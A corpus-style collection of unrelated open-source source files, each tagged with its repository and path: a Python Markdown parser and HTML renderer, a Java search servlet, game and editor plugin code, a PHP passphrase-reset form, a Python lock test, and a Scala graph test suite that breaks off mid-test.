def parse_block_html(self, m):
tag = m.group(1)
if not tag:
text = m.group(0)
self.tokens.append({
'type': 'close_html',
'text': text
})
else:
attr = m.group(2)
text = m.group(3)
self.tokens.append({
'type': 'open_html',
'tag': tag,
'extra': attr,
'text': text
})
def parse_paragraph(self, m):
text = m.group(1).rstrip('\n')
self.tokens.append({'type': 'paragraph', 'text': text})
def parse_text(self, m):
text = m.group(0)
self.tokens.append({'type': 'text', 'text': text})
class InlineGrammar(object):
"""Grammars for inline level tokens."""
escape = re.compile(r'^\\([\\`*{}\[\]()#+\-.!_>~|])') # \* \+ \! ....
inline_html = re.compile(
r'^(?:%s|%s|%s)' % (
r'<!--[\s\S]*?-->',
r'<(\w+%s)((?:%s)*?)\s*>([\s\S]*?)<\/\1>' % (_valid_end, _valid_attr),
r'<\w+%s(?:%s)*?\s*\/?>' % (_valid_end, _valid_attr),
)
)
autolink = re.compile(r'^<([^ >]+(@|:)[^ >]+)>')
link = re.compile(
r'^!?\[('
r'(?:\[[^^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*'
r')\]\('
r'''\s*(<)?([\s\S]*?)(?(2)>)(?:\s+['"]([\s\S]*?)['"])?\s*'''
r'\)'
)
reflink = re.compile(
r'^!?\[('
r'(?:\[[^^\]]*\]|[^\[\]]|\](?=[^\[]*\]))*'
r')\]\s*\[([^^\]]*)\]'
)
nolink = re.compile(r'^!?\[((?:\[[^\]]*\]|[^\[\]])*)\]')
url = re.compile(r'''^(https?:\/\/[^\s<]+[^<.,:;"')\]\s])''')
double_emphasis = re.compile(
r'^_{2}([\s\S]+?)_{2}(?!_)' # __word__
r'|'
r'^\*{2}([\s\S]+?)\*{2}(?!\*)' # **word**
)
emphasis = re.compile(
r'^\b_((?:__|[^_])+?)_\b' # _word_
r'|'
r'^\*((?:\*\*|[^\*])+?)\*(?!\*)' # *word*
)
code = re.compile(r'^(`+)\s*([\s\S]*?[^`])\s*\1(?!`)') # `code`
linebreak = re.compile(r'^ {2,}\n(?!\s*$)')
strikethrough = re.compile(r'^~~(?=\S)([\s\S]*?\S)~~') # ~~word~~
footnote = re.compile(r'^\[\^([^\]]+)\]')
text = re.compile(r'^[\s\S]+?(?=[\\<!\[_*`~]|https?://| {2,}\n|$)')
def hard_wrap(self):
"""Grammar for hard wrap linebreak. You don't need to add two
spaces at the end of a line.
"""
self.linebreak = re.compile(r'^ *\n(?!\s*$)')
self.text = re.compile(
r'^[\s\S]+?(?=[\\<!\[_*`~]|https?://| *\n|$)'
)
class InlineLexer(object):
"""Inline level lexer for inline grammars."""
grammar_class = InlineGrammar
default_rules = [
'escape', 'inline_html', 'autolink', 'url',
'footnote', 'link', 'reflink', 'nolink',
'double_emphasis', 'emphasis', 'code',
'linebreak', 'strikethrough', 'text',
]
inline_html_rules = [
'escape', 'autolink', 'url', 'link', 'reflink',
'nolink', 'double_emphasis', 'emphasis', 'code',
'linebreak', 'strikethrough', 'text',
]
def __init__(self, renderer, rules=None, **kwargs):
self.renderer = renderer
self.links = {}
self.footnotes = {}
self.footnote_index = 0
if not rules:
rules = self.grammar_class()
kwargs.update(self.renderer.options)
if kwargs.get('hard_wrap'):
rules.hard_wrap()
self.rules = rules
self._in_link = False
self._in_footnote = False
self._parse_inline_html = kwargs.get('parse_inline_html')
def __call__(self, text, rules=None):
return self.output(text, rules)
def setup(self, links, footnotes):
self.footnote_index = 0
self.links = links or {}
self.footnotes = footnotes or {}
def output(self, text, rules=None):
text = text.rstrip('\n')
if not rules:
rules = list(self.default_rules)
if self._in_footnote and 'footnote' in rules:
rules.remove('footnote')
output = self.renderer.placeholder()
def manipulate(text):
for key in rules:
pattern = getattr(self.rules, key)
m = pattern.match(text)
if not m:
continue
self.line_match = m
out = getattr(self, 'output_%s' % key)(m)
if out is not None:
return m, out
return False # pragma: no cover
while text:
ret = manipulate(text)
if ret is not False:
m, out = ret
output += out
text = text[len(m.group(0)):]
continue
if text: # pragma: no cover
raise RuntimeError('Infinite loop at: %s' % text)
return output
def output_escape(self, m):
text = m.group(1)
return self.renderer.escape(text)
def output_autolink(self, m):
link = m.group(1)
if m.group(2) == '@':
is_email = True
else:
is_email = False
return self.renderer.autolink(link, is_email)
def output_url(self, m):
link = m.group(1)
if self._in_link:
return self.renderer.text(link)
return self.renderer.autolink(link, False)
def output_inline_html(self, m):
tag = m.group(1)
if self._parse_inline_html and tag in _inline_tags:
text = m.group(3)
if tag == 'a':
self._in_link = True
text = self.output(text, rules=self.inline_html_rules)
self._in_link = False
else:
text = self.output(text, rules=self.inline_html_rules)
extra = m.group(2) or ''
html = '<%s%s>%s</%s>' % (tag, extra, text, tag)
else:
html = m.group(0)
return self.renderer.inline_html(html)
def output_footnote(self, m):
key = _keyify(m.group(1))
if key not in self.footnotes:
return None
if self.footnotes[key]:
return None
self.footnote_index += 1
self.footnotes[key] = self.footnote_index
return self.renderer.footnote_ref(key, self.footnote_index)
def output_link(self, m):
return self._process_link(m, m.group(3), m.group(4))
def output_reflink(self, m):
key = _keyify(m.group(2) or m.group(1))
if key not in self.links:
return None
ret = self.links[key]
return self._process_link(m, ret['link'], ret['title'])
def output_nolink(self, m):
key = _keyify(m.group(1))
if key not in self.links:
return None
ret = self.links[key]
return self._process_link(m, ret['link'], ret['title'])
def _process_link(self, m, link, title=None):
line = m.group(0)
text = m.group(1)
if line[0] == '!':
return self.renderer.image(link, title, text)
self._in_link = True
text = self.output(text)
self._in_link = False
return self.renderer.link(link, title, text)
def output_double_emphasis(self, m):
text = m.group(2) or m.group(1)
text = self.output(text)
return self.renderer.double_emphasis(text)
def output_emphasis(self, m):
text = m.group(2) or m.group(1)
text = self.output(text)
return self.renderer.emphasis(text)
def output_code(self, m):
text = m.group(2)
return self.renderer.codespan(text)
def output_linebreak(self, m):
return self.renderer.linebreak()
def output_strikethrough(self, m):
text = self.output(m.group(1))
return self.renderer.strikethrough(text)
def output_text(self, m):
text = m.group(0)
return self.renderer.text(text)
class Renderer(object):
"""The default HTML renderer for rendering Markdown.
"""
def __init__(self, **kwargs):
self.options = kwargs
def placeholder(self):
"""Returns the default, empty output value for the renderer.
All renderer methods use the '+=' operator to append to this value.
Default is a string so rendering HTML can build up a result string with
the rendered Markdown.
Can be overridden by Renderer subclasses to be types like an empty
list, allowing the renderer to create a tree-like structure to
represent the document (which can then be reprocessed later into a
separate format like docx or pdf).
"""
return ''
def block_code(self, code, lang=None):
"""Rendering block level code. ``pre > code``.
:param code: text content of the code block.
:param lang: language of the given code.
"""
code = code.rstrip('\n')
if not lang:
code = escape(code, smart_amp=False)
return '<pre><code>%s\n</code></pre>\n' % code
code = escape(code, quote=True, smart_amp=False)
return '<pre><code class="lang-%s">%s\n</code></pre>\n' % (lang, code)
def block_quote(self, text):
"""Rendering <blockquote> with the given text.
:param text: text content of the blockquote.
"""
return '<blockquote>%s\n</blockquote>\n' % text.rstrip('\n')
def block_html(self, html):
"""Rendering block level pure html content.
:param html: text content of the html snippet.
"""
if self.options.get('skip_style') and \
html.lower().startswith('<style'):
return ''
if self.options.get('escape'):
return escape(html)
return html
def header(self, text, level, raw=None):
"""Rendering header/heading tags like ``<h1>`` ``<h2>``.
:param text: rendered text content for the header.
:param level: a number for the header level, for example: 1.
:param raw: raw text content of the header.
"""
return '<h%d>%s</h%d>\n' % (level, text, level)
def hrule(self):
"""Rendering method for ``<hr>`` tag."""
if self.options.get('use_xhtml'):
return '<hr />\n'
return '<hr>\n'
def list(self, body, ordered=True):
"""Rendering list tags like ``<ul>`` and ``<ol>``.
:param body: body contents of the list.
:param ordered: whether this list is ordered or not.
"""
tag = 'ul'
if ordered:
tag = 'ol'
return '<%s>\n%s</%s>\n' % (tag, body, tag)
def list_item(self, text):
"""Rendering list item snippet. Like ``<li>``."""
return '<li>%s</li>\n' % text
def paragraph(self, text):
"""Rendering paragraph tags. Like ``<p>``."""
return '<p>%s</p>\n' % text.strip(' ')
def table(self, header, body):
"""Rendering table element. Wrap header and body in it.
:param header: header part of the table.
:param body: body part of the table.
"""
return (
'<table>\n<thead>%s</thead>\n'
'<tbody>\n%s</tbody>\n</table>\n'
) % (header, body)
def table_row(self, content):
"""Rendering a table row. Like ``<tr>``.
:param content: content of current table row.
"""
return '<tr>\n%s</tr>\n' % content
def table_cell(self, content, **flags):
"""Rendering a table cell. Like ``<th>`` ``<td>``.
:param content: content of current table cell.
:param header: whether this is header or not.
:param align: align of current table cell.
"""
if flags['header']:
tag = 'th'
else:
tag = 'td'
align = flags['align']
if not align:
return '<%s>%s</%s>\n' % (tag, content, tag)
return '<%s style="text-align:%s">%s</%s>\n' % (
tag, align, content, tag
)
def double_emphasis(self, text):
"""Rendering **strong** text.
:param text: text content for emphasis.
"""
return '<strong>%s</strong>' % text
def emphasis(self, text):
"""Rendering *emphasis* text.
:param text: text content for emphasis.
"""
return '<em>%s</em>' % text
def codespan(self, text):
"""Rendering inline `code` text.
:param text: text content for inline code.
"""
text = escape(text.rstrip(), smart_amp=False)
return '<code>%s</code>' % text
def linebreak(self):
"""Rendering line break like ``<br>``."""
if self.options.get('use_xhtml'):
return '<br />\n'
return '<br>\n'
def strikethrough(self, text):
"""Rendering ~~strikethrough~~ text.
:param text: text content for strikethrough.
"""
return '<del>%s</del>' % text
def text(self, text):
"""Rendering unformatted text.
:param text: text content.
"""
if self.options.get('parse_block_html'):
return text
return escape(text)
def escape(self, text):
"""Rendering escape sequence.
:param text: text content.
"""
return escape(text)
def autolink(self, link, is_email=False):
"""Rendering a given link or email address.
:param link: link content or email address.
:param is_email: whether this is an email or not.
"""
text = link = escape(link)
if is_email:
link = 'mailto:%s' % link
return '<a href="%s">%s</a>' % (link, text)
def link(self, link, title, text):
"""Rendering a given link with content and title.
:param link: href link for ``<a>`` tag.
:param title: title content for `title` attribute.
:param text: text content for description.
"""
link = escape_link(link)
if not title:
return '<a href="%s">%s</a>' % (link, text)
title = escape(title, quote=True)
return '<a href="%s" title="%s">%s</a>' % (link, title, text)
def image(self, src, title, text):
"""Rendering a image with title and text.
:param src: source link of the image.
:param title: title text of the image.
:param text: alt text of the image.
"""
src = escape_link(src)
text = escape(text, quote=True)
if title:
title = escape(title, quote=True)
html = '<img src="%s" alt="%s" title="%s"' % (src, text, title)
else:
html = '<img src="%s" alt="%s"' % (src, text)
if self.options.get('use_xhtml'):
return '%s />' % html
return '%s>' % html
def inline_html(self, html):
"""Rendering span level pure html content.
:param html: text content of the html snippet.
"""
if self.options.get('escape'):
return escape(html)
return html
def newline(self):
"""Rendering newline element."""
return ''
def footnote_ref(self, key, index):
"""Rendering the ref anchor of a footnote.
:param key: identity key for the footnote.
:param index: the index count of current footnote.
"""
html = (
'<sup class="footnote-ref" id="fnref-%s">'
'<a href="#fn-%s" rel="footnote">%d</a></sup>'
) % (escape(key), escape(key), index)
return html
def footnote_item(self, key, text):
"""Rendering a footnote item.
:param key: identity key for the footnote.
:param text: text content of the footnote.
"""
back = (
'<a href="#fnref-%s" rev="footnote">↩</a>'
) % escape(key)
text = text.rstrip()
if text.endswith('</p>'):
text = re.sub(r'<\/p>$', r'%s</p>' % back, text)
else:
text = '%s<p>%s</p>' % (text, back)
html = '<li id="fn-%s">%s</li>\n' % (escape(key), text)
return html
def footnotes(self, text):
"""Wrapper for all footnotes.
:param text: contents of all footnotes.
"""
html = '<div class="footnotes">\n%s<ol>%s</ol>\n</div>\n'
return html % (self.hrule(), text)
class Markdown(object):
"""The Markdown parser.
:param renderer: An instance of ``Renderer``.
:param inline: An inline lexer class or instance.
:param block: A block lexer class or instance.
"""
def __init__(self, renderer=None, inline=None, block=None, **kwargs):
if not renderer:
renderer = Renderer(**kwargs)
else:
kwargs.update(renderer.options)
self.renderer = renderer
if inline and inspect.isclass(inline):
inline = inline(renderer, **kwargs)
if block and inspect.isclass(block):
block = block(**kwargs)
if inline:
self.inline = inline
else:
self.inline = InlineLexer(renderer, **kwargs)
self.block = block or BlockLexer(BlockGrammar())
self.footnotes = []
self.tokens = []
# detect if it should parse text in block html
self._parse_block_html = kwargs.get('parse_block_html')
def __call__(self, text):
return self.parse(text)
def render(self, text):
"""Render the Markdown text.
:param text: markdown formatted text content.
"""
return self.parse(text)
def parse(self, text):
out = self.output(preprocessing(text))
keys = self.block.def_footnotes
# reset block
self.block.def_links = {}
self.block.def_footnotes = {}
# reset inline
self.inline.links = {}
self.inline.footnotes = {}
if not self.footnotes:
return out
footnotes = filter(lambda o: keys.get(o['key']), self.footnotes)
self.footnotes = sorted(
footnotes, key=lambda o: keys.get(o['key']), reverse=True
)
body = self.renderer.placeholder()
while self.footnotes:
note = self.footnotes.pop()
body += self.renderer.footnote_item(
note['key'], note['text']
)
out += self.renderer.footnotes(body)
return out
def pop(self):
if not self.tokens:
return None
self.token = self.tokens.pop()
return self.token
def peek(self):
if self.tokens:
return self.tokens[-1]
return None # pragma: no cover
def output(self, text, rules=None):
self.tokens = self.block(text, rules)
self.tokens.reverse()
self.inline.setup(self.block.def_links, self.block.def_footnotes)
out = self.renderer.placeholder()
while self.pop():
out += self.tok()
return out
def tok(self):
t = self.token['type']
# sepcial cases
if t.endswith('_start'):
t = t[:-6]
return getattr(self, 'output_%s' % t)()
def tok_text(self):
text = self.token['text']
while self.peek()['type'] == 'text':
text += '\n' + self.pop()['text']
return self.inline(text)
def output_newline(self):
return self.renderer.newline()
def output_hrule(self):
return self.renderer.hrule()
def output_heading(self):
return self.renderer.header(
self.inline(self.token['text']),
self.token['level'],
self.token['text'],
)
def output_code(self):
return self.renderer.block_code(
self.token['text'], self.token['lang']
)
def output_table(self):
aligns = self.token['align']
aligns_length = len(aligns)
cell = self.renderer.placeholder()
# header part
header = self.renderer.placeholder()
for i, value in enumerate(self.token['header']):
align = aligns[i] if i < aligns_length else None
flags = {'header': True, 'align': align}
cell += self.renderer.table_cell(self.inline(value), **flags)
header += self.renderer.table_row(cell)
# body part
body = self.renderer.placeholder()
for i, row in enumerate(self.token['cells']):
cell = self.renderer.placeholder()
for j, value in enumerate(row):
align = aligns[j] if j < aligns_length else None
flags = {'header': False, 'align': align}
cell += self.renderer.table_cell(self.inline(value), **flags)
body += self.renderer.table_row(cell)
return self.renderer.table(header, body)
def output_block_quote(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'block_quote_end':
body += self.tok()
return self.renderer.block_quote(body)
def output_list(self):
ordered = self.token['ordered']
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_end':
body += self.tok()
return self.renderer.list(body, ordered)
def output_list_item(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_item_end':
if self.token['type'] == 'text':
body += self.tok_text()
else:
body += self.tok()
return self.renderer.list_item(body)
def output_loose_item(self):
body = self.renderer.placeholder()
while self.pop()['type'] != 'list_item_end':
body += self.tok()
return self.renderer.list_item(body)
def output_footnote(self):
self.inline._in_footnote = True
body = self.renderer.placeholder()
key = self.token['key']
while self.pop()['type'] != 'footnote_end':
body += self.tok()
self.footnotes.append({'key': key, 'text': body})
self.inline._in_footnote = False
return self.renderer.placeholder()
def output_close_html(self):
text = self.token['text']
return self.renderer.block_html(text)
def output_open_html(self):
text = self.token['text']
tag = self.token['tag']
if self._parse_block_html and tag not in _pre_tags:
text = self.inline(text, rules=self.inline.inline_html_rules)
extra = self.token.get('extra') or ''
html = '<%s%s>%s</%s>' % (tag, extra, text, tag)
return self.renderer.block_html(html)
def output_paragraph(self):
return self.renderer.paragraph(self.inline(self.token['text']))
def output_text(self):
return self.renderer.paragraph(self.tok_text())
def markdown(text, escape=True, **kwargs):
"""Render markdown formatted text to html.
:param text: markdown formatted text content.
:param escape: if set to False, all html tags will not be escaped.
:param use_xhtml: output with xhtml tags.
:param hard_wrap: if set to True, it will use the GFM line breaks feature.
:param parse_block_html: parse text only in block level html.
:param parse_inline_html: parse text only in inline level html.
"""
return Markdown(escape=escape, **kwargs)(text) | ebursztein/SiteFab | SiteFab/parser/mistune.py | Python | gpl-3.0 | 35,424 |
package it.unimi.di.big.mg4j.query;
/*
* MG4J: Managing Gigabytes for Java (big)
*
* Copyright (C) 2005-2015 Sebastiano Vigna
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License as published by the Free
* Software Foundation; either version 3 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
* or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, see <http://www.gnu.org/licenses/>.
*
*/
import it.unimi.di.big.mg4j.document.Document;
import it.unimi.di.big.mg4j.document.DocumentCollection;
import it.unimi.di.big.mg4j.document.DocumentFactory;
import it.unimi.di.big.mg4j.document.DocumentFactory.FieldType;
import it.unimi.dsi.fastutil.objects.ObjectArrayList;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.io.Reader;
import javax.servlet.ServletConfig;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.collections.ExtendedProperties;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringEscapeUtils;
import org.apache.velocity.Template;
import org.apache.velocity.context.Context;
import org.apache.velocity.tools.view.servlet.VelocityViewServlet;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
/** An generic item, displaying all document fields.
*
* <P>This kind of {@link it.unimi.di.big.mg4j.query.QueryServlet} item will display each field
* of a document inside a <samp>FIELDSET</samp> element. It is mainly useful for debugging purposes.
*/
public class GenericItem extends VelocityViewServlet {
private static final long serialVersionUID = 1L;
private static final Logger LOGGER = LoggerFactory.getLogger( GenericItem.class );
@Override
protected ExtendedProperties loadConfiguration( final ServletConfig config ) throws FileNotFoundException, IOException {
return HttpQueryServer.setLiberalResourceLoading( super.loadConfiguration( config ) );
}
public Template handleRequest( final HttpServletRequest request, final HttpServletResponse response, final Context context ) throws Exception {
if ( request.getParameter( "doc" ) != null ) {
DocumentCollection collection = (DocumentCollection)getServletContext().getAttribute( "collection" );
response.setContentType( request.getParameter( "m" ) );
response.setCharacterEncoding( "UTF-8" );
final Document document = collection.document( Long.parseLong( request.getParameter( "doc" ) ) );
final DocumentFactory factory = collection.factory();
final ObjectArrayList<String> fields = new ObjectArrayList<String>();
final int numberOfFields = factory.numberOfFields();
LOGGER.debug( "ParsingFactory declares " + numberOfFields + " fields" );
for( int field = 0; field < numberOfFields; field++ ) {
if ( factory.fieldType( field ) != FieldType.TEXT ) fields.add( StringEscapeUtils.escapeHtml( document.content( field ).toString() ) );
else fields.add( StringEscapeUtils.escapeHtml( IOUtils.toString( (Reader)document.content( field ) ) ).replaceAll( "\n", "<br>\n" ) );
}
context.put( "title", document.title() );
context.put( "fields", fields );
context.put( "factory", factory );
return getTemplate( "it/unimi/dsi/mg4j/query/generic.velocity" );
}
return null;
}
}
| JC-R/mg4j | src/it/unimi/di/big/mg4j/query/GenericItem.java | Java | gpl-3.0 | 3,657 |
# noinspection PyPackageRequirements
import wx
import gui.globalEvents as GE
import gui.mainFrame
from gui.contextMenu import ContextMenuSingle
from service.fit import Fit
class AmmoToDmgPattern(ContextMenuSingle):
visibilitySetting = 'ammoPattern'
def __init__(self):
self.mainFrame = gui.mainFrame.MainFrame.getInstance()
def display(self, callingWindow, srcContext, mainItem):
if srcContext not in ("marketItemGroup", "marketItemMisc") or self.mainFrame.getActiveFit() is None:
return False
if mainItem is None:
return False
for attr in ("emDamage", "thermalDamage", "explosiveDamage", "kineticDamage"):
if mainItem.getAttribute(attr) is not None:
return True
return False
def getText(self, callingWindow, itmContext, mainItem):
return "Set {} as Damage Pattern".format(itmContext if itmContext is not None else "Item")
def activate(self, callingWindow, fullContext, mainItem, i):
fitID = self.mainFrame.getActiveFit()
Fit.getInstance().setAsPattern(fitID, mainItem)
wx.PostEvent(self.mainFrame, GE.FitChanged(fitIDs=(fitID,)))
def getBitmap(self, callingWindow, context, mainItem):
return None
AmmoToDmgPattern.register()
| DarkFenX/Pyfa | gui/builtinContextMenus/ammoToDmgPattern.py | Python | gpl-3.0 | 1,296 |
package net.adanicx.cyancraft.client.model;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import net.minecraft.client.model.ModelRenderer;
import net.minecraft.entity.Entity;
import net.adanicx.cyancraft.client.OpenGLHelper;
import net.adanicx.cyancraft.entities.EntityArmorStand;
@SideOnly(Side.CLIENT)
public class ModelArmorStand extends ModelArmorStandArmor {
public ModelRenderer standRightSide;
public ModelRenderer standLeftSide;
public ModelRenderer standWaist;
public ModelRenderer standBase;
public ModelArmorStand() {
this(0.0F);
}
public ModelArmorStand(float size) {
super(size, 64, 64);
bipedHead = new ModelRenderer(this, 0, 0);
bipedHead.addBox(-1.0F, -7.0F, -1.0F, 2, 7, 2, size);
bipedHead.setRotationPoint(0.0F, 0.0F, 0.0F);
bipedBody = new ModelRenderer(this, 0, 26);
bipedBody.addBox(-6.0F, 0.0F, -1.5F, 12, 3, 3, size);
bipedBody.setRotationPoint(0.0F, 0.0F, 0.0F);
bipedRightArm = new ModelRenderer(this, 24, 0);
bipedRightArm.addBox(-2.0F, -2.0F, -1.0F, 2, 12, 2, size);
bipedRightArm.setRotationPoint(-5.0F, 2.0F, 0.0F);
bipedLeftArm = new ModelRenderer(this, 32, 16);
bipedLeftArm.mirror = true;
bipedLeftArm.addBox(0.0F, -2.0F, -1.0F, 2, 12, 2, size);
bipedLeftArm.setRotationPoint(5.0F, 2.0F, 0.0F);
bipedRightLeg = new ModelRenderer(this, 8, 0);
bipedRightLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, size);
bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
bipedLeftLeg = new ModelRenderer(this, 40, 16);
bipedLeftLeg.mirror = true;
bipedLeftLeg.addBox(-1.0F, 0.0F, -1.0F, 2, 11, 2, size);
bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
standRightSide = new ModelRenderer(this, 16, 0);
standRightSide.addBox(-3.0F, 3.0F, -1.0F, 2, 7, 2, size);
standRightSide.setRotationPoint(0.0F, 0.0F, 0.0F);
standRightSide.showModel = true;
standLeftSide = new ModelRenderer(this, 48, 16);
standLeftSide.addBox(1.0F, 3.0F, -1.0F, 2, 7, 2, size);
standLeftSide.setRotationPoint(0.0F, 0.0F, 0.0F);
standWaist = new ModelRenderer(this, 0, 48);
standWaist.addBox(-4.0F, 10.0F, -1.0F, 8, 2, 2, size);
standWaist.setRotationPoint(0.0F, 0.0F, 0.0F);
standBase = new ModelRenderer(this, 0, 32);
standBase.addBox(-6.0F, 11.0F, -6.0F, 12, 1, 12, size);
standBase.setRotationPoint(0.0F, 12.0F, 0.0F);
}
@Override
public void setRotationAngles(float p_78087_1_, float p_78087_2_, float p_78087_3_, float p_78087_4_, float p_78087_5_, float p_78087_6_, Entity entity) {
super.setRotationAngles(p_78087_1_, p_78087_2_, p_78087_3_, p_78087_4_, p_78087_5_, p_78087_6_, entity);
if (entity instanceof EntityArmorStand) {
EntityArmorStand stand = (EntityArmorStand) entity;
bipedLeftArm.showModel = stand.getShowArms();
bipedRightArm.showModel = stand.getShowArms();
standBase.showModel = !stand.hasNoBasePlate();
bipedLeftLeg.setRotationPoint(1.9F, 12.0F, 0.0F);
bipedRightLeg.setRotationPoint(-1.9F, 12.0F, 0.0F);
standRightSide.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standRightSide.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standRightSide.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standLeftSide.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standLeftSide.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standLeftSide.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standWaist.rotateAngleX = 0.017453292F * stand.getBodyRotation().getX();
standWaist.rotateAngleY = 0.017453292F * stand.getBodyRotation().getY();
standWaist.rotateAngleZ = 0.017453292F * stand.getBodyRotation().getZ();
standBase.rotateAngleX = 0.0F;
standBase.rotateAngleY = 0.017453292F * -entity.rotationYaw;
standBase.rotateAngleZ = 0.0F;
}
}
@Override
public void render(Entity p_78088_1_, float p_78088_2_, float p_78088_3_, float p_78088_4_, float p_78088_5_, float p_78088_6_, float p_78088_7_) {
super.render(p_78088_1_, p_78088_2_, p_78088_3_, p_78088_4_, p_78088_5_, p_78088_6_, p_78088_7_);
OpenGLHelper.pushMatrix();
if (isChild) {
float f6 = 2.0F;
OpenGLHelper.scale(1.0F / f6, 1.0F / f6, 1.0F / f6);
OpenGLHelper.translate(0.0F, 24.0F * p_78088_7_, 0.0F);
standRightSide.render(p_78088_7_);
standLeftSide.render(p_78088_7_);
standWaist.render(p_78088_7_);
standBase.render(p_78088_7_);
} else {
if (p_78088_1_.isSneaking())
OpenGLHelper.translate(0.0F, 0.2F, 0.0F);
standRightSide.render(p_78088_7_);
standLeftSide.render(p_78088_7_);
standWaist.render(p_78088_7_);
standBase.render(p_78088_7_);
}
OpenGLHelper.popMatrix();
}
}
| Cyancraft/Cyancraft | src/main/java/net/adanicx/cyancraft/client/model/ModelArmorStand.java | Java | gpl-3.0 | 4,767 |
<?php include 'common_header.php'; ?>
<!-- Settings View Title -->
<h3><?php e($title); ?></h3>
<!-- Pasephrase Reset Form -->
<form id="settings_account_reset" class="rounded" action="<?php u('/settings/accounts/reset'); ?>" method="post" accept-charset="UTF-8" enctype="multipart/form-data">
<fieldset>
<?php $alias = $account->get_default_alias(); ?>
Do you want to <strong>RESET</strong> the passphrase for <strong><?php e($alias->name); ?></strong> (<?php e($alias->email); ?>) ?
<br />
<?php e($alias->name); ?> will no longer be able to log in using the old passphrase.
<br /><br />
</fieldset>
<fieldset>
<p style="margin-bottom: 16px">
<label for="pass1">New Passphrase</label><br />
<input type="password" id="pass1" name="pass1" value="" />
</p>
<p style="margin-bottom: 32px">
<label for="pass2">New Passphrase (Repeat)</label><br />
<input type="password" id="pass2" name="pass2" value="" />
</p>
</fieldset>
<fieldset>
<?php \Common\Session::add_token($token = \Common\Security::get_random(16)); ?>
<input type="hidden" name="account_id" value="<?php e($account->id); ?>" />
<input type="hidden" name="csrf_token" id="csrf_token" value="<?php e($token); ?>" />
</fieldset>
<fieldset>
<button type="submit" class="rounded" name="button" value="yes">Reset Passphrase</button>
<button type="submit" class="rounded" name="button" value="no">Cancel</button>
</fieldset>
</form>
<!-- Standard Footers -->
<?php include 'common_footer.php'; ?> | kijin/nearlyfreemail | program/views/accounts_reset.php | PHP | gpl-3.0 | 1,673 |
"""import portalocker
with portalocker.Lock('text.txt', timeout=5) as fh:
fh.write("Sono in testLoxk2.py")
"""
from lockfile import LockFile
lock = LockFile('text.txt')
with lock:
print lock.path, 'is locked.'
with open('text.txt', "a") as file:
file.write("Sono in testLock2.py")
| giulioribe/car-pooling | testLock2.py | Python | gpl-3.0 | 303 |
package ctlmc.bddgraph
import ctlmc.spec._
import ctlmc._
class GraphFactorySpec extends UnitSpec {
test("Creation") {
val factory = new GraphFactory()
}
}
class GraphSpec extends UnitSpec {
val factory = new GraphFactory()
factory.setParameters(Array(
("v1", (Array("F", "T").zipWithIndex.toMap, 0)),
("v2", (Array("F", "T").zipWithIndex.toMap, 1)),
("v3", (Array("F", "T").zipWithIndex.toMap, 2)),
("v4", (Array("F", "T").zipWithIndex.toMap, 3)),
("v5", (Array("F", "T").zipWithIndex.toMap, 4))
).toMap)
val params = Array[Int](0, 0, 0, 0, 0)
test("Single var State comparison, positive") {
assert(factory.createState(params).set(1, 1)
== factory.createState(params).set(1, 1))
}
test("Single var State comparison, negative") {
assert(factory.createState(params).set(1, 1)
!= factory.createState(params).set(2, 1))
}
test("Full StateSet comparison") {
assert(factory.createFullStateSet() == factory.createFullStateSet())
}
test("Empty StateSet comparison") {
assert(factory.createEmptyStateSet() == factory.createEmptyStateSet())
}
test("Custom StateSet comparison, positive 1") {
val s0 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(s0) == factory.createStateSet(s0))
}
test("Custom StateSet comparison, positive 2") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(Array(s0, s1))
== factory.createStateSet(Array(s1, s0)))
}
test("Custom StateSet comparison, negative") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
assert(factory.createStateSet(s0) != factory.createStateSet(s1))
}
test("Graph size") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
assert(graph.countEdges == 3)
}
test("Preimage, segment") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1)
))
val set = factory.createStateSet(s1)
val pre = graph.preimage(set)
assert(pre == factory.createStateSet(s0))
}
test("Preimage, line") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
val set = factory.createStateSet(s2)
val pre = graph.preimage(set)
assert(pre == factory.createStateSet(s1))
}
test("Preimage, triangle") {
val s0 = factory.createState(params).set(0, 1)
val s1 = factory.createState(params).set(1, 1)
val s2 = factory.createState(params).set(2, 1)
val graph = factory.createGraph(Array(
factory.createEdge(s0, s1),
factory.createEdge(s1, s2),
factory.createEdge(s2, s0)
))
val set = factory.createStateSet(s0)
val pre = graph.preimage(set)
